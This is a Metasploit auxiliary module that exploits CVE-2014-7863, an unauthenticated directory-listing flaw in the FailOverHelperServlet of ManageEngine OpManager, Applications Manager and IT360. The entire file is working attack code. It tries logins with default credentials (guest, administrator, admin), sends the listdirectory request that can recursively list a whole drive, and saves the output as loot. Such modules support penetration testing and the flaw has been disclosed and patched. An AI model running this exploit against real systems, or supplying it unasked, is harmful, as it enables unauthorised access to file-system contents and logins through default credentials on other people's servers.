ManageEngine Multiple Products Arbitrary Directory Listing

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine Multiple Products Arbitrary Directory Listing',
        'Description' => %q{
          This module exploits a directory listing information disclosure vulnerability in the
          FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. It
          makes a recursive listing, so it will list the whole drive if you ask it to list / in
          Linux or C:\ in Windows. This vulnerability is unauthenticated on OpManager and
          Applications Manager, but authenticated in IT360. This module will attempt to login
          using the default credentials for the administrator and guest accounts; alternatively
          you can provide a pre-authenticated cookie or a username / password combo. For IT360
          targets enter the RPORT of the OpManager instance (usually 8300). This module has been
          tested on both Windows and Linux with several different versions. Windows paths have to
          be escaped with 4 backslashes on the command line. There is a companion module that
          allows for arbitrary file download. This vulnerability has been fixed in Applications
          Manager v11.9 b11912 and OpManager 11.6.
        },
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2014-7863'],
          ['OSVDB', '117696'],
          ['URL', 'https://seclists.org/fulldisclosure/2015/Jan/114'],
          ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt']
        ],
        'DisclosureDate' => '2015-01-28'
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'The base path to OpManager, AppManager or IT360', '/']),
        OptString.new('DIRECTORY', [true, 'Path of the directory to list', '/etc/']),
        OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
        OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),
        OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),
        OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])
      ]
    )
  end

  def post_auth?
    true
  end

  def get_cookie
    cookie = nil
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'])
    })

    if res
      cookie = res.get_cookies
    end

    cookie
  end

  def detect_it360
    res = send_request_cgi({
      'uri' => '/',
      'method' => 'GET'
    })

    if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
      return true
    end

    return false
  end

  def get_it360_cookie_name
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/')
    })

    cookie = res.get_cookies

    if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
      return ::Regexp.last_match(1)
    else
      return nil
    end
  end

  def authenticate_it360(port, path, username, password)
    if datastore['DOMAIN_NAME'].nil?
      vars_post = {
        'LOGIN_ID' => username,
        'PASSWORD' => password,
        'isADEnabled' => 'false'
      }
    else
      vars_post = {
        'LOGIN_ID' => username,
        'PASSWORD' => password,
        'isADEnabled' => 'true',
        'domainName' => datastore['DOMAIN_NAME']
      }
    end

    res = send_request_cgi({
      'rport' => port,
      'method' => 'POST',
      'uri' => normalize_uri(path),
      'vars_get' => {
        'service' => 'OpManager',
        'furl' => '/',
        'timestamp' => Time.now.to_i
      },
      'vars_post' => vars_post
    })

    if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=(\w{9,})/
      # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
      return res.get_cookies
    end

    nil
  end

  def login_it360
    # Do we already have a valid cookie? If yes, just return that.
    unless datastore['IAMAGENTTICKET'].nil?
      cookie_name = get_it360_cookie_name
      cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
      return cookie
    end

    # get the correct path, host and port
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/')
    })

    if res && res.redirect?
      uri = [ res.redirection.port, res.redirection.path ]
    else
      return nil
    end

    if datastore['USERNAME'] && datastore['PASSWORD']
      print_status("Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")
      cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
      unless cookie.nil?
        return cookie
      end
    end

    default_users = ['guest', 'administrator', 'admin']

    default_users.each do |user|
      print_status("Trying to authenticate as #{user}...")
      cookie = authenticate_it360(uri[0], uri[1], user, user)
      unless cookie.nil?
        return cookie
      end
    end

    nil
  end

  def run
    # No point to continue if directory is not specified
    if datastore['DIRECTORY'].empty?
      print_error('Please supply the path of the directory you want to list.')
      return
    end

    if detect_it360
      print_status('Detected IT360, attempting to login...')
      cookie = login_it360
    else
      cookie = get_cookie
    end

    if cookie.nil?
      print_error('Failed to get application cookies!')
      return
    end

    servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'
    res = send_request_cgi({
      'method' => 'GET',
      'cookie' => cookie,
      'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet)
    })
    if res && res.code == 404
      servlet = 'FailOverHelperServlet'
    end

    # Create request
    begin
      print_status("Listing directory #{datastore['DIRECTORY']}")
      res = send_request_cgi({
        'method' => 'POST',
        'cookie' => cookie,
        'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
        'vars_get' => {
          'operation' => 'listdirectory',
          'rootDirectory' => datastore['DIRECTORY']
        }
      })
    rescue Rex::ConnectionRefused
      print_error('Could not connect.')
      return
    end

    # Show data if needed
    if res && res.code == 200 && res.body
      vprint_line(res.body.to_s)
      fname = File.basename(datastore['DIRECTORY'])

      path = store_loot(
        'manageengine.http',
        'text/plain',
        datastore['RHOST'],
        res.body.to_s,
        fname
      )
      print_good("File with directory listing saved in: #{path}")
    else
      print_error('Failed to list directory.')
    end
  end
end